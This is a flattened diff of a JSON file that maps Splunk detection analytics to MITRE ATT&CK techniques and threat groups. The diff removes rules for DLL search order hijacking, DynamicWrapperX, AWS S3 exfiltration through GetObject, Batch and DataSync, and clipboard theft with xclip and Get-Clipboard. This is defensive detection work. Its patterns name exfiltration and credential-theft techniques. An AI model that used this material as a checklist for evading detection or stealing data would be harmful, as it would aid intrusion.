"Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -214517,89 +163873,6 @@ "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" ] - }, - { - "name": "Process Writing DynamicWrapperX", - "description": "The following analytic detects a process writing the dynwrapx.dll file to disk and registering it in the registry. It leverages data from the Endpoint datamodel, specifically monitoring process and filesystem events. This activity is significant because DynamicWrapperX is an ActiveX component often used in scripts to call Windows API functions, and its presence in non-standard locations is highly suspicious. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the environment. Immediate investigation of parallel processes and registry modifications is recommended.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes by _time Processes.process_id Processes.process_name Processes.dest Processes.process_guid Processes.user | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_name=\"dynwrapx.dll\" by _time Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid Filesystem.user | `drop_dm_object_name(Filesystem)` | fields _time process_guid file_path file_name file_create_time user dest process_name] | stats count min(_time) as firstTime max(_time) as lastTime by dest process_name process_guid file_name file_path file_create_time user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `process_writing_dynamicwrapperx_filter`", - "tags": { - "analytic_story": [ - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ downloading the DynamicWrapperX dll.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1559.001", - "mitre_attack_technique": "Component Object Model", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "MuddyWater" - ] - } - ] - } } ], "external_reference": [ @@ -214945,419 +164218,6 @@ "https://docs.microsoft.com/en-us/windows/win32/debug/pe-format", "https://elinux.org/Executable_and_Linkable_Format_(ELF)" ] - }, - { - "name": "Windows DLL Search Order Hijacking Hunt", - "description": "The following hunting analytic is an experimental query built against a accidental feature using the latest Sysmon TA 3.0 (https://splunkbase.splunk.com/app/5709/) which maps the module load (ImageLoaded) to process_name. This analytic will deprecate once this is fixed. This hunting analytic identifies known libraries in Windows that may be used in a DLL search order hijack or DLL Sideloading setting. This may require recompiling the DLL, moving the DLL or moving the vulnerable process. The query looks for any running out of system32 or syswow64. Some libraries natively run out of other application paths and will need to be added to the exclusion as needed. The lookup is comprised of Microsoft native libraries identified within the Hijacklibs.net project.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process_name) as process_name from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.user!=unknown NOT (Processes.process_path IN (\"*\\\\system32\\\\*\", \"*\\\\syswow64\\\\*\",\"*\\\\winsxs\\\\*\",\"*\\\\wbem\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup hijacklibs library AS process_name OUTPUT islibrary | search islibrary = True | rename parent_process_name as process_name , process_name AS ImageLoaded, process_path AS Module_Path | `windows_dll_search_order_hijacking_hunt_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential Windows DLL Search Order Hijacking detected on $dest$", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DLL Search Order Hijacking Hunt with Sysmon", - "description": "The following analytic identifies potential DLL search order hijacking or DLL sideloading by detecting known Windows libraries loaded from non-standard directories. It leverages Sysmon EventCode 7 to monitor DLL loads and cross-references them with a lookup of known hijackable libraries. This activity is significant as it may indicate an attempt to execute malicious code by exploiting DLL search order vulnerabilities. If confirmed malicious, this could allow attackers to gain code execution, escalate privileges, or maintain persistence within the environment.", - "search": "`sysmon` EventCode=7 NOT (process_path IN (\"*\\\\system32\\\\*\", \"*\\\\syswow64\\\\*\",\"*\\\\winsxs\\\\*\",\"*\\\\wbem\\\\*\")) | lookup hijacklibs library AS loaded_file OUTPUT islibrary | search islibrary = True | stats count min(_time) as firstTime max(_time) as lastTime values(process_name) as process_name by _time dest loaded_file | `windows_dll_search_order_hijacking_hunt_with_sysmon_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Qakbot", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential Windows DLL Search Order Hijacking detected on $dest$", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DLL Search Order Hijacking with iscsicpl", - "description": "The following analytic detects DLL search order hijacking involving iscsicpl.exe. It identifies when iscsicpl.exe loads a malicious DLL from a new path, triggering the payload execution. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on child processes spawned by iscsicpl.exe. This activity is significant as it indicates a potential attempt to execute unauthorized code via DLL hijacking. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=iscsicpl.exe `windows_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_dll_search_order_hijacking_with_iscsicpl_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to elevate access.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Hijack Execution Flow Version Dll Side Load", - "description": "The following analytic detects a process loading a version.dll file from a directory other than %windir%\\system32 or %windir%\\syswow64. This detection leverages Sysmon EventCode 7 to identify instances where an unsigned or improperly located version.dll is loaded. This activity is significant as it is a common technique used in ransomware and APT malware campaigns, including Brute Ratel C4, to execute malicious code via DLL side loading. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, and potentially compromise the target host.", - "search": "`sysmon` EventCode=7 ImageLoaded = \"*\\\\version.dll\" AND (Signed = \"false\" OR NOT(ImageLoaded IN(\"*\\\\windows\\\\system32*\", \"*\\\\windows\\\\syswow64\\\\*\"))) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_hijack_execution_flow_version_dll_side_load_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ loading $ImageLoaded$ as a side load dll in $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Known Abused DLL Created", - "description": "The following analytic identifies the creation of Dynamic Link Libraries (DLLs) with a known history of exploitation in atypical locations. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and filesystem events. This activity is significant as it may indicate DLL search order hijacking or sideloading, techniques used by attackers to execute arbitrary code, maintain persistence, or escalate privileges. If confirmed malicious, this activity could allow attackers to blend in with legitimate operations, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.parent_process_name!=\"unknown\" Processes.process_name=* Processes.process_guid!=null by _time span=1h Processes.dest Processes.user Processes.process_guid Processes.process_name Processes.process Processes.parent_process Processes.parent_process_name | `drop_dm_object_name(Processes)` | join max=0 process_guid dest [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\users\\\\*\",\"*\\\\Windows\\Temp\\\\*\",\"*\\\\programdata\\\\*\") Filesystem.file_name=\"*.dll\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | lookup hijacklibs_loaded library AS file_name OUTPUT islibrary, ttp, comment as desc | lookup hijacklibs_loaded library AS file_name excludes as file_path OUTPUT islibrary as excluded | search islibrary = TRUE AND excluded != TRUE | stats latest(*) as * by dest process_guid ] | where isnotnull(file_name) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_known_abused_dll_created_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "The file [$file_name$] was written to an unusual location by [$process_name$] on [$dest$].", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -215862,220 +164722,7 @@ "Event ID": null, "Event Name": "Data loss prevention" } - ], - { - "name": "AWS Exfiltration via Anomalous GetObject API Activity", - "description": "The following analytic identifies anomalous GetObject API activity in AWS, indicating potential data exfiltration attempts. It leverages AWS CloudTrail logs and uses the `anomalydetection` command to detect unusual patterns in the frequency of GetObject API calls by analyzing fields such as \"count,\" \"user_type,\" and \"user_arn\" within a 10-minute window. This activity is significant as it may indicate unauthorized data access or exfiltration from S3 buckets. If confirmed malicious, attackers could exfiltrate sensitive data, leading to data breaches and compliance violations.", - "search": "`cloudtrail` eventName=GetObject | bin _time span=10m | stats count values(requestParameters.bucketName) as bucketName by _time src_ip aws_account_id user_type user_arn userIdentity.principalId | anomalydetection \"count\" \"user_type\" \"user_arn\" action=annotate | search probable_cause=* |`aws_exfiltration_via_anomalous_getobject_api_activity_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Anomalous S3 activities detected by user $user_arn$ from $src_ip$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1119", - "mitre_attack_technique": "Automated Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "Chimera", - "Confucius", - "FIN5", - "FIN6", - "Gamaredon Group", - "Ke3chang", - "Mustang Panda", - "OilRig", - "Patchwork", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS Exfiltration via Batch Service", - "description": "The following analytic identifies the creation of AWS Batch jobs that could potentially abuse the AWS Bucket Replication feature on S3 buckets. It leverages AWS CloudTrail logs to detect the `JobCreated` event, analyzing job details and their status. This activity is significant because attackers can exploit this feature to exfiltrate data by creating malicious batch jobs. If confirmed malicious, this could lead to unauthorized data transfer between S3 buckets, resulting in data breaches and loss of sensitive information.", - "search": "`cloudtrail` eventName = JobCreated | stats count min(_time) as firstTime max(_time) as lastTime values(serviceEventDetails.jobArn) as job_arn values(serviceEventDetails.status) as status by src_ip aws_account_id eventName errorCode userAgent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_exfiltration_via_batch_service_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "AWS Batch Job is created on account id - $aws_account_id$ from src_ip $src_ip$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1119", - "mitre_attack_technique": "Automated Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "Chimera", - "Confucius", - "FIN5", - "FIN6", - "Gamaredon Group", - "Ke3chang", - "Mustang Panda", - "OilRig", - "Patchwork", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS Exfiltration via DataSync Task", - "description": "The following analytic detects the creation of an AWS DataSync task, which could indicate potential data exfiltration. It leverages AWS CloudTrail logs to identify the `CreateTask` event from the DataSync service. This activity is significant because attackers can misuse DataSync to transfer sensitive data from a private AWS location to a public one, leading to data compromise. If confirmed malicious, this could result in unauthorized access to sensitive information, causing severe data breaches and compliance violations.", - "search": "`cloudtrail` eventName = CreateTask eventSource=\"datasync.amazonaws.com\" | rename requestParameters.* as * | stats count min(_time) as firstTime max(_time) as lastTime by src_ip aws_account_id awsRegion eventName destinationLocationArn sourceLocationArn userAgent user_arn userIdentity.principalId errorCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_exfiltration_via_datasync_task_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Suspicious AWS S3 Activities" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "DataSync task created on account id - $aws_account_id$ by user $user_arn$ from src_ip $src_ip$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1119", - "mitre_attack_technique": "Automated Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "Chimera", - "Confucius", - "FIN5", - "FIN6", - "Gamaredon Group", - "Ke3chang", - "Mustang Panda", - "OilRig", - "Patchwork", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -216483,366 +165130,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Linux Clipboard Data Copy", - "description": "The following analytic detects the use of the Linux 'xclip' command to copy data from the clipboard. It leverages Endpoint Detection and Response (EDR) telemetry, focusing on process names and command-line arguments related to clipboard operations. This activity is significant because adversaries can exploit clipboard data to capture sensitive information such as passwords or IP addresses. If confirmed malicious, this technique could lead to unauthorized data exfiltration, compromising sensitive information and potentially aiding further attacks within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=xclip Processes.process IN (\"*-o *\", \"*-sel *\", \"*-selection *\", \"*clip *\",\"*clipboard*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_clipboard_data_copy_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ by user $user$ adding or removing content from the clipboard.", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - } - ] - } - }, - { - "name": "Windows ClipBoard Data via Get-ClipBoard", - "description": "The following analytic detects the execution of the PowerShell command 'Get-Clipboard' to retrieve clipboard data. It leverages PowerShell Script Block Logging (EventCode 4104) to identify instances where this command is used. This activity is significant because it can indicate an attempt to steal sensitive information such as usernames, passwords, or other confidential data copied to the clipboard. If confirmed malicious, this behavior could lead to unauthorized access to sensitive information, potentially compromising user accounts and other critical assets.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-Clipboard*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_clipboard_data_via_get_clipboard_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell script $ScriptBlockText$ execute Get-Clipboard commandlet on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - 